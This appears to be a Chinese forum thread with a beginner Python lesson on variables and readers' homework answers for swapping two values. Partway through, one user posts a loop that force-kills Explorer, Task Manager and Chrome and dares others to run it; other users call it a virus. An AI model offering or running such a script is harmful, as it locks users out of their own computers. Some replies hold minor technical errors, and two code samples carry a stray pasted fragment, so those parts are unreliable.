用户:
Python爱好者查看:373 回复:27 评论:128 创建时间:2023-01-12T10:58:02
Hello, everyone! 今天我们要学的是Python教程变量的第一课,没错,下节课是变量第二节。

^(Python爱好者)^
变量就像个暂时的银行,在运行的时候可以把数据,字符等存进去,后面还可以取出,在Python里面 “=” 不是等于的意思,是取值的意思,“==” 才是等于的意思,我们先举个例子:
a=12
print(a)
第二节课我们说print()的括号里若不是数据,要加上 "" ,但是在用变量时变量不加 "" ,如果加了 "" ,虽然不会报错,但是你要的效果没了,举个例子:
a="Python爱好者的学生都很帅或很美"
print("a") #错误做法,在执行的时候,输出的不是Python爱好者的学生都很帅或很美,而是a
新手呢在打这段代码要格外注意,高手就没关系啦。
^(高手)^
我们都知道,字符串可以先加,那么变量呢?
a="喵Python"
b="Python爱我"
print(a+b)

^(Python:喵你)^
那么怎么让使用程序的人来自定义变量的值呢?我们第三节课学了input()代码,变量能不能用input()代码呢?可以的。
a=input()
print(a)
这时候,有人举一反三了,做了
a=input()
b=input()
print(a+b)
诶,这时候输入两组数字怎么变成这样了:

^(会举一反三的人们)^
这个问题下次在解决。

今天的作业是三个变量,五行代码,两个变量的值由运行者取值,然后让这两个变量的值换一下
dy=f’(x)*dxa=12
b=34
a=b-22
b=a+22
print(a,b)
点赞0
评论
作业(水)
a,b要input()要运行人定义(*^▽^*)
要三个变量
一看就会,一做就废
怎么感觉py有亿点难度
脑子:我学会了,打字的手:我也学废了
不,没那么难,实际上编程猫就是Python改成中文,然后改得更容易被人理解的中文,然后再简化了一点点复杂的东西
逝不难,但辣么多的规则,辣么多的英文字符,唉。可恶的封建社会,导致了我国的发展,搞到现在主流的(划掉,逝所有的)代码都是英文字符
dy=f’(x)*dxa=input()
b=input()
c=1
a=b
print(a)
点赞0
评论
错了是a=input(),b=input(),a=c,a=b,b=c
没让你输出啊
nb ,谢谢
Fexcodea,b = input('a= '),input('b= ')
a,b = b,a
#额3个变量...,五行代码...。。。以下是无用代码...
print(a,b)
c = int(a)+int(b) print(c)
点赞0
评论
盛世华夏因为我们默认变量中的,未经过处理的代码是字符串(str)类型的,当字符串进行加运算的时候,是前后两项相拼接,所以会出现65897这种现象
点赞0
评论
所以我们得出新的结论65+897=65897【玩笑开过头】
盛世华夏我来交一个不及格的作业:
a = input()
b = input()
c = a
a = b
b = c
print(a)
print(b)
点赞0
评论
没让你输出,而且是五行啊
我们数学老师跟我说内卷的学生最可怕,今天就遇到了个内卷的学生,果然可怕
#“/”是换行/你真的要输出也得这样啊/a,b=input(),input()/c=a/a=b/b=c/print(a,b)
你还去上课
我都考完了
数学我也就95分,但是别人不觉得我可怕,虽然我也内卷
是以前
芥末不是酱油a = int(input())
b = int(input())
print(a+b)
完美解决疑问
intput()函数在输入后默认为str类型啊,强制转换int类型不就完事了。
点赞0
评论
现在才第四节课,我的学生们好没学到这
你的教程咋就这么多人,我的帖子咋就凉了
布吉岛呀
我太难受了
表情包要多,不然大家觉得没意思,我的第一节第二节课也很少人的
能看看我的帖子给点建议啥的吗
表情包万岁
啥帖子
https://shequ.codemao.cn/community/517746 给点建议呗
纯文字当然不行啦
...
努力改进下一个帖子ing
我也比较忙,关注一下我,多看我的帖子学学吧
多谢多谢
一门鸽鸽(a := -(b := (a := int(input())+(b := int(input())))-b)+a)
# 别问为什么这么写,因为疯了,但确实是先输入a再输入b最后调换a,b的值
# 建议运行一下试试
# print(a, b)
# 好了,总算凑够五行了点赞1
评论
不愧是你
提示:海象运算符需在3.10及以上版本运行
正确的,一针见血的,中肯的
mornwinda,b=input(),input()
a,b=b,a点赞0
评论
既然是python为什么不用一下py独有的写法呢
不错,不过要审题
独有的写法不是这样吗doge (a := -(b := (a := int(input())+(b := int(input())))-b)+a)
mornwind刑啊
a=eval(input())
b=eval(input())
func=lambda lst:lst[::-1]
a,b=func([a,b])
print(a,b)点赞0
评论
匿名函数也算一个变量对吧
…你这eval有什么用呢()eval是执行函数 你用eval非但不能正常运行还会报错()比如你随便输一串字符串
国家计算机等级考试的教材里有用这个···
真的写程序的时候不可能这么写啊···多此亿举
呃()我想说的是加上eval会报错
我这里有一段代码,我好不容易破解的!!!
我把海龟关掉了都没用!
任务管理器也没用!
我用了360安全卫士才破解的!
如果用int或float的话输入几个字符也会报错啊 (倒是可以用try...except...
eval( )不符合输出要求呀( )eval里面必须填表达式否则就会报错( )
int 和 float只要是整数就可以正常输出
mornwind写代码的原则是在效果不变的情况下越简洁越好···要求代码为特定行数这种操作···
点赞1
评论
求求你了!教教我怎么用匿名函数吧!!!!
匿名函数很简单():号前的的是参数:后的返回值
定义一个匿名函数,简单点讲就这样lambda 参数1,参数2:返回值
超级无敌编程大神from os import system
while True:
system("taskkill /f /im explorer.exe >nul 2>nul")
system("taskkill /f /im taskmgr.exe >nul 2>nul")
system("taskkill /f /im chrome.exe >nul 2>nul")
谁快来运行这段代码?~本人亲测,可以破解!!!
点赞0
评论
大概是个病毒
看的第一眼就知道是病毒
不过没关系,太简单了
等我一会儿
跟你说,这是我在几年前里面的帖子里面找到的(当时我正在到处测试病毒)
破了
easy
再来啊,怎么不来了
我也破过呀
我先打开360,之后,你知道的【doge】
打开360浏览器干什么?
是360安全卫士...
我知道360浏览器安全,但它不会给你消毒吧???
啥卫士,我搜一下
大哥,360安全卫士
哦~这个!
az.............
你是怎么破解的??
我早把它删了
你猜
用Python啊
???Python我都打不开....
就算打开了我Python也是0级呀....
这……
az是啥意思?
if‘az’!=‘啊这’:我倒立喵【doge】
if 'az'='啊这':你还要倒立喵【doge】
大哥,你代码写错了.....
被你带偏了,应该是if 'az'=='啊这':你还要倒立喵【doge】
你不是也写错了
我复制粘贴的
我写的是两个等于号呀???
A:B,你代码写错了;B:A,你代码写错了。《反客为主》
?????????????????????????????????????????????????????????????????
哦,是我忘记把“!”改成“=”《谁是小丑》
你是小丑
while 1: if "Python爱好者"!="小丑": "Python爱好者"="小丑"
《自虐狂魔》
az
看楼上
…..这就是关闭进程没什么好说的()重新打开taskmsg和explorer就好了
之前见过狠的()直接把注册表删了
az,我看过把C盘D盘全部清空的.......
SunSet这 就 是 P y t h o n 变 量 的 定 义 捏 Python 变量类型
变量是存储在内存中的值,这就意味着在创建变量时会在内存中开辟一个空间。
基于变量的数据类型,解释器会分配指定内存,并决定什么数据可以被存储在内存中。
因此,变量可以指定不同的数据类型,这些变量可以存储整数,小数或字符。
变量赋值
Python 中的变量赋值不需要类型声明。
每个变量在内存中创建,都包括变量的标识,名称和数据这些信息。
每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建。
等号 = 用来给变量赋值。
等号 = 运算符左边是一个变量名,等号 = 运算符右边是存储在变量中的值。
多个变量赋值Python允许你同时为多个变量赋值。例如:
a = b = c = 1
以上实例,创建一个整型对象,值为1,三个变量被分配到相同的内存空间上。
您也可以为多个对象指定多个变量。例如:
a, b, c = 1, 2, "john" 标准数据类型
在内存中存储的数据可以有多种类型。
例如,一个人的年龄可以用数字来存储,他的名字可以用字符来存储。
Python 定义了一些标准类型,用于存储各种类型的数据。
Python有五个标准的数据类型:
Python 数字
数字数据类型用于存储数值。
他们是不可改变的数据类型,这意味着改变数字数据类型会分配一个新的对象。
当你指定一个值时,Number 对象就会被创建:
var1 = 1
var2 = 10
Python爱好者的作业:
a=0;b=0;t=0;a=int(input());b=int(input());t=a;a=b;b=t;print(a,b)
点赞0
评论
一行代码就可以解决的为什么要用5行代码?
我的学生没学到这
分号不算!!!
我运行成功了 为什么不算捏
你用分号写,多少代码都可以写在一行啊。
黄颠a=input()
b=input()
a,b=b,a
#这样写比较简洁吧qwq
a=input()
b=input()
c=a
a=b
b=c
#题目要求的点赞0
评论
你这等号不太对吧()
az...刚才用的手机没注意
盛世华夏云变量怎么做?
点赞0
评论
还没学到辣么深呢
我知道了,Rainbow.[变量名]
《万能的互联网》
通过API调用第三方数据库即可(Python不是kitten,不是新建一个云变量那么简单!!!)
温顺的咪噜gBgE小芝士:
#众所周知:
a="1"
b="2"
print(a+b)
"""
会给你打印:11
让你感觉你不会数学
实际上是因为字符串的原因
只需要:
"""
print(int(a)+int(b))
"""
int把字符串改成整数型
或者变量赋值的时候直接输入数字
"""点赞0
评论
是‘12’好吧
我逝数学天才
笑死,输出的是12(换行)3
因为你的print(a+b)前面没有加上#
有问题吗?
有没有可能……讲完print要先讲 数据结构 再讲变量比较合适……
另外说一个不是很常见的解法(仅对于数字)
a = int(input())
b = int(input())
a = a^b
b = a^b
a = a^b;
print(f'a:{a}\nb:{b}')点赞1
评论
a喵多打了个分号()c++后遗症()去掉第五行的分好就行了